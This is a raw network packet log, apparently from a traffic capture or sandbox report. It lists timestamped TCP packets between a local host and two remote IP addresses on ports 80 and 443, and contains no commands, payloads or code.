Jun 20, 2024 06:49:14.433003902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433037043 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433092117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433125019 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433135986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433135986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433135986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433135986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433135986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433156967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433178902 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433190107 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433214903 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433224916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433255911 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433289051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433307886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433307886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433307886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433324099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433346987 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433372021 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433387995 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433419943 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433444977 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433453083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433485985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433516979 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433532000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433532000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433532000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433549881 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433571100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433583021 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433612108 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433615923 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433634043 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433649063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433677912 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433680058 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433718920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433748960 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433748960 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433768034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433778048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433800936 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433831930 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433831930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433865070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433908939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433908939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433908939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433921099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433954000 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.433967113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.433985949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434009075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434040070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434047937 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434075117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434107065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434113026 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434113026 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434139013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434144974 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434171915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434204102 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434210062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434210062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434237003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434267998 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434292078 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434292078 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434300900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434334993 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434334993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434369087 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434382915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434382915 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434401035 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434432983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434437990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434437990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434465885 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434479952 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434500933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434530973 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434533119 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434566021 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434592009 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434592009 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434597969 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434613943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434632063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434665918 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434670925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434670925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434698105 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434717894 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434731007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434750080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434763908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434784889 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434812069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434880972 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434912920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434942961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.434943914 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.434993029 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435025930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435038090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435038090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435038090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435058117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435090065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435122013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435132980 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435132980 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435133934 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435153961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435158968 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435187101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435216904 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435220003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435235023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435252905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435285091 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435295105 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435295105 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435317993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435349941 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435374975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435374975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435383081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435404062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435415983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435451031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435455084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435455084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435482979 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435497999 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435516119 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435548067 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435580015 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435585022 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435585022 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435585976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435612917 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435619116 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435646057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435678005 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435682058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435682058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435710907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435750008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435755014 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435755014 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435784101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435795069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435817003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435848951 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435857058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435857058 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435880899 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435897112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435913086 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435945988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435977936 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.435986042 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435986996 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.435986996 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.436018944 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.436027050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.436050892 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.436058998 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.436095953 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.436096907 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.436125040 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.436146975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.436218977 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.511301041 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:14.511336088 CEST	443	49747	149.154.167.99	192.168.2.4
Jun 20, 2024 06:49:14.511419058 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:14.514447927 CEST	49747	443	192.168.2.4	149.154.167.99
Jun 20, 2024 06:49:14.514460087 CEST	443	49747	149.154.167.99	192.168.2.4
Jun 20, 2024 06:49:14.518027067 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518095970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518101931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518152952 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518187046 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518220901 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518225908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518250942 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518273115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518306971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518347025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518347979 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518357038 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518395901 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518429041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518461943 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518469095 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518469095 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518512011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518529892 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518567085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518599033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518614054 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518614054 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518632889 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518640041 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518666029 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518702984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518716097 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518717051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518734932 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518769026 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518800974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518805027 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518805027 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518805027 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518832922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518843889 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518867970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518887043 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518901110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518934011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.518945932 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518945932 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.518965960 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519009113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519009113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519016027 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519063950 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519109964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519126892 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519143105 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519148111 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519155979 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519167900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519172907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519186974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519202948 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519217014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519231081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519246101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519259930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519263029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519263029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519263983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519263983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519284010 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519350052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519371033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519407034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519423962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519438982 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519454002 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519469023 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519484043 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519489050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519489050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519489050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519500017 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519514084 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519525051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519556046 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519571066 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519614935 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519614935 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519614935 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519614935 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519782066 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519814968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519848108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519881010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519900084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519900084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519900084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519925117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519939899 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519948006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.519956112 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519970894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.519984961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520003080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520003080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520015955 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520020962 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520051956 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520091057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520107031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520121098 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520122051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520122051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520251989 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520252943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520252943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520282984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520318031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520369053 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520373106 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520373106 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520402908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520436049 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520468950 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520474911 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520474911 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520519018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520555973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520580053 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520587921 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520621061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520639896 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520653963 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520687103 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520736933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520746946 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520746946 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520770073 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520802021 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520834923 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520865917 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520888090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520888090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520888090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.520905018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520951986 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520966053 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520981073 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.520997047 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:14.521008015 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:14.521008015 CEST	49743	80	192.168.2.4	5.42.65.116
